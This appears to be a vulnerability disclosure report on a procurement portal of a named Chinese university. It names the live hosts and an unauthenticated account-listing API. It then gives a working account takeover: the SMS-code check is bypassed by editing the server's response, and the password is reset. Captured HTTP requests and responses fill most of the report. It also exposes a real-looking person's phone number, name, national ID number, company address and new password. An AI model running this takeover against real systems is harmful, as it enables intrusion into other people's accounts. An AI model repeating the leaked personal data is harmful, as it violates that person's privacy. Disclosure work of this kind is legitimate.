

陕西中医药大学

时间	单位	开发商	作者	等级	Rank
2023-09-11 23:14:07	陕西中医药大学 (/list/firm/5462)	陕西联兴网络科技有限公司 (/list/company/494)		中危	4

陕西中医药大学存在逻辑漏洞

URL---http://ydx.yxau.edu.cn:8081/index.html#/auth/login/simple

通过端口扫描目录访问找到未授权访问接口http://ydx.yxau.edu.cn:8080/pmis/getOrganizationSelectInfo

找到账号电话18629659527

然后通过抓包修改返回码，绕过验证码 code改成0 data改成true，

Request

PrettyRawHex

1

POST /pmis/checkMobileCode HTTP/1.1

2

Host: 219.144.198.151:8080

3

Content-Length: 38

4

Accept: application/json, text/plain, */*

5

Authorization:

6

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

7

Content-Type: application/json

8

Origin: http://ydx.yxau.edu.cn:8081

9

Referer: http://ydx.yxau.edu.cn:8081/

0

Accept-Encoding: gzip, deflate

1

Accept-Language: en-US, en; q=0.9, zh-CN; q=0.8, zh; q=0.7

2

Connection: close

3

4

{

5

"mobile": "18629659527",

6

"code": "1234"

7

}

Edited response

PrettyRawHexRender

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Access-Control-Allow-Origin: http://ydx.yxau.edu.cn:8081

4

Vary: Origin

5

Access-Control-Allow-Credentials: true

6

Content-Type: application/json; charset=UTF-8

7

Date: Mon, 11 Sep 2023 15:08:40 GMT

8

Connection: close

9

Content-Length: 46

10

11

{

12

"code": 0,

13

"msg": "验证码失效",

14

"data": true

15

}

然后任意更改用户密码

采购管理端

找回密码

*

用户类型:

采购商家

✓

*

手机号:

18629659527

✓

*

验证码:

1234

✓

获取验证码

*

新密码 ⓘ:

请输入新密码

*

确认密码:

请输入确认密码

🔑 提交

新账号密码： 源本 / qiulong123

```

1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Access-Control-Allow-Origin: http://ydx.y.xaau.edu.cn:8081
4 Vary: Origin
5 Access-Control-Allow-Credentials: true
6 Content-Type: application/json; charset=UTF-8
7 Date: Mon, 11 Sep 2023 15:09:24 GMT
8 Connection: close
9 Content-Length: 1358
10
11 {
  "code":0,
  "msg":"成功",
  "data":{
    "id":378,
    "account":"源本",
    "perName":"徐飞",
    "mobile":"18629659527",
    "citID":"610121199204050431",
    "openId":null,
    "unionId":null,
    "sexCode":2,
    "department":null,
    "position":null,
    "role":1,
    "pic":"assets/images/user-card/female.jpg",
    "addDateTime":1668665701000,
    "updateDateTime":1689682043000,
    "ifDelete":0,
    "useMark":1,
    "isSupplier":1,
    "isMaintainer":1,
    "code":null,
    "organization":{
      "id":198,
      "name":"西安源本网络科技有限公司",
      "unitNature":null,
      "addDateTime":1668665701000,
      "address":"陕西省西安市高新区唐延南路8号泰维智链二期南楼901号",
      "updateDateTime":1689682043000.
    }
  }
}

```

尝试登陆，登陆成功



